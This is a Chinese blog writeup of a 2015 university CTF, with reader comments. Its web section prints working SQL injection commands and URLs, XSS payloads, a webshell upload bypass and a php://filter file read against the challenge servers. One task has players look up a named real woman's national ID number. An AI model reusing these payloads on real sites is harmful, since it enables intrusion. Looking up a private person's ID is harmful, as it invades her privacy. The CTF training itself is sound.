2015 ansec writeup

0×00 川大ctf
看到了有一个川大的ctf,然后有逆向的题,就让ling和Jarvis带我飞。
做了一些写成writeup吧,写得比较简单一些,逆向和编程的题目是ling和Jarvis做的,感谢他们。

0×01 基础
webshell
把错误显示打开 访问会因为没有密码报错 会有提示
提交就可以了,比较简单
Q*pkZ%`Bn1C5
吐槽一下 flag长得好丑

有一个给了一个url.txt 需要找到身份证
发现是一个github的地址 https://github.com/scuctf/scuctf/issues/1
访问一下 发现了是base64过的图片,需要解两次base64 然后就是一张jpg的图片

图片是最近很火的那个成都女司机卢琴,要她的身份证 百度就可以了

取证
爆破rar密码,是从0到12000左右的

然后看到9569行的xls文件 发现是config1.php
只能找到 config.php,这是一个加密了的webshell
用那个马解密出来 密码就是flag

0×02 WEB

sql1用sqlmap跑就可以了

sql2要扫一扫 发现了login.php,是一个登陆的
username是注入点 时间盲注

sqlmap -u "175.152.118.209:82/validate.php" --data "username=admin&password=admin" -D web2 -T admin -C username,password --dump --level 5 --risk 3 -v 3 --technique T
+----------+-----------------------------+
| username | password                    |
+----------+-----------------------------+
| flag     | SCU_CFT{flag:Qr.U!sZ"GHEM/} |
+----------+-----------------------------+

sql3
是一个宽字节注入用%df之后就可以手工注入了
http://101.204.150.192:83/index.php?id=-1%df%27%20union%20select%201,group_concat%28table_name%29,3%20from%20information_schema.tables%20where%20table_schema=database%28%29%23
admin,news,see_here

http://101.204.150.192:83/index.php?id=-1%df%27%20union%20select%201,group_concat%28column_name%29,3%20from%20information_schema.columns%20where%20table_name=0x7365655f68657265%23
id,flag

http://101.204.150.192:83/index.php?id=-1%df%27%20union%20select%201,group_concat%28flag%29,3%20from%20web3.see_here%23
SCU_CFT{flag:4JaEZINrdaT}

xss1
xss感觉出的不好啊 xss的payload太多 没法覆盖完全 页面逻辑有一些问题 不容易出好
比如说 第一题用svg可以弹 但是flag出不来
过滤了<变成了&lt;
用img标签
<<<img
去base64就可以过

xss2
http://101.204.150.192:90/scu_xss_02/xss_02.php/?%22;alert%281%29;//
用了这个 没弹出来 但是出了flag

上传1
是双文件上传 构造两个文件 第一个正常图片 第二个是shell就可以了
做了文件内容检查 前面的256字节附加上正常的图片然后加上webshell代码 再上传cdx文件拿webshell

上传2
要先扫描文件 是一个fck编辑器
然后就是找fck的方法去上传了

文件包含
用base64读取flag.php源码的姿势
http://175.152.118.209:86/urp/score.php?file=php://filter/read=convert.base64-encode/resource=../flag.php

nm_’/)QqdB*=K&[BT#

命令执行
这个题要翻墙访问 服务器是在国外
wooyun上有一样的例子 默认口令登陆 之后 就执行命令ipconfig
04:01:14:7d:45:01

eth0      Link encap:Ethernet  HWaddr 04:01:14:7d:45:01  
          inet addr:188.226.216.139  Bcast:188.226.223.255  Mask:255.255.240.0
          inet6 addr: fe80::601:14ff:fe7d:4501/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:164281580 errors:0 dropped:0 overruns:0 frame:0
          TX packets:164625849 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:14361992930 (14.3 GB)  TX bytes:12938843841 (12.9 GB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:2301514 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2301514 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:130800483 (130.8 MB)  TX bytes:130800483 (130.8 MB)

0x03 渗透
渗透1
espcms
espcms sql注入漏洞
用这个exp
注入出来
admin|1ae9c3798251af80aedbc20916fd5e69

解cmd5出来是这个
espansec

登陆后要拿shell

传图就可以拿到webshell

0x04 逆向
crackme 1
扣出来是个图片

图片解压出来是一个加密的7z压缩包 密码就是5q)*e/.7;jy]{kTGfHR%

解压出来 flag是dE4Quq1wgCx3gSWZJQ8K

crackme 2

sub_401050(hWnd, (int)&String);

int __cdecl sub_401050(HWND hWnd, int a2)
{
  unsigned int i; // [sp+0h] [bp-4h]@1

  for ( i = 0; i < 7; ++i )
  {
    if ( dword_403018[i] != sub_401000(a2 + 4 * i, 4) )
      return MessageBoxA(hWnd, "Wrong", "Crack001", 0);
  }
  return MessageBoxA(hWnd, "Correct!!", "Crack001", 0);
}


int __cdecl sub_401000(int a1, unsigned int a2)
{
  unsigned int i; // [sp+0h] [bp-Ch]@1
  int v4; // [sp+8h] [bp-4h]@1

  v4 = 0;
  for ( i = 0; i < a2; ++i )
    v4 = *(_BYTE *)(i + a1) + 131 * v4;
  return v4;
}

然后逆着算就可以了
5oGt5Zac5L2g77yM5oiQ5Yqf5LqG

0x05 编程
编程1 ling搞起的

Mips writeup
Mips架构的,不过是静态链接的,用qemu试着运行,发现能运行,至少可以动态调试了。

在ida中很容易定位到比较的地方:

大致伪代码如下:

Int v1[];
Char a3[];
for(I = 0; I < 0x22; i++)
{
	If(a3[v1[i]*4] != password[i])
	{
		Puts(‘try again’)
	}
}

写了个程序算flag:(其中dump.bin为v1处内存,dump2.bin为a3处内存)

from zio import *
f = open('./dump.bin', 'rb')
data = f.read()
f.close()

f = open('./dump2.bin', 'rb')
data2 = f.read()
f.close()

result = ''
for i in range(0x22):
    d = l32(data[i*4:i*4+4])
    result += data2[d*4:d*4+1]

print result

输出:
NSS-Flag:{cFWC_yhrE_H17pV_5o_ob8a}

编程3
用python解 求1234!的小写md5

def foo(n):
    return reduce(lambda x,y: x*y, range(1,n+1))

#print foo(1234)

import hashlib
m = hashlib.md5()
m.update(str(foo(1234)))
print m.hexdigest()

编程4

是一个rsa相关的题 琪琪做的

#!/usr/bin/python

def Exgcd(a,b):
    if b == 0:
        return (1,0,a)
    if a < b:
        a,b = b,a
    x,y,d = Exgcd(b,a%b)
    return y,(x-a/b*y),d
   
def inverse(a,m):
    x,y,d = Exgcd(m,a)
    if d != 1:
        return 0
    return (y+m)%m
   
if __name__ == "__main__":
    p=79
    q=50022341
    n=p*q
    on=(p-1)*(q-1)
    d = inverse(9203,on)
    print d

3 条评论

  1. range 五月 26, 2015 7:30 下午  回复

    卧槽,做题还要知道那个卢琴,跪了。。。而且,更重要的时候apple牛还做出来了!

    • AppLeU0 五月 26, 2015 9:12 下午  回复

      。。。百度识图 我虽然之前也看到了新闻 不过做题的时候 没也想起来,可以用百度识图啊谷歌识图什么的来做 知道是谁就百度他的身份证就可以了

    • Intermarket 八月 8, 2015 6:08 上午  回复

      This shows real exeestirp. Thanks for the answer.

发表评论

*